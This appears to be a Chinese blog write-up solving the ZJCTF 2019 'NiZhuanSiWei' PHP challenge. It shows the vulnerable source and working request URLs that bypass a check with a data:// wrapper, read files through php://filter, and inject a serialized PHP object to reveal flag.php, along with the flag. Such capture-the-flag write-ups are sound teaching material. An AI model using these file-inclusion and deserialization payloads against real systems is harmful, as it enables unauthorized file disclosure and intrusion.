NSSCTF靶场刷题日记
- 1.[ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
分析题目,首先file_get_contents()方法将一个文件读入字符串并与“welcome to the zjctf”做比对,强等于则输出并进入下一步,可以选择用php伪协议的:data://或者php://input之一进行绕过;
http://1.14.71.254:28271/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
第二步正则匹配传入的参数file,无flag关键字则包含该文件,提示有useless.php文件,先伪协议读取一下:php://filter/read=convert.base64-encode/resource=useless.php
http://1.14.71.254:28271/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
解码:
简单的反序列化,__toString()方法:对象被当作字符串处理时,自动触发。恰好原处有个echo,满足需求,直接构造传入即可:
http://1.14.71.254:28271/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
查看源码,得到flag. NSSCTF{1cadd94a-74a6-409b-9067-2b48d7ab27f7}
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】凌霞软件回馈社区,携手博客园推出1Panel与Halo联合会员
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 如何统计不同电话号码的个数?—位图法
· C#高性能开发之类型系统:从 C# 7.0 到 C# 14 的类型系统演进全景
· 从零实现富文本编辑器#3-基于Delta的线性数据结构模型
· 记一次 .NET某旅行社酒店管理系统 卡死分析
· 长文讲解 MCP 和案例实战
· C#高性能开发之类型系统:从 C# 7.0 到 C# 14 的类型系统演进全景
· 管理100个小程序-很难吗
· 基于Blazor实现的运输信息管理系统
· 微信支付功能的设计实现与关键实践(UniApp+Java)全代码
· 用c#从头写一个AI agent,实现企业内部自然语言数据统计分析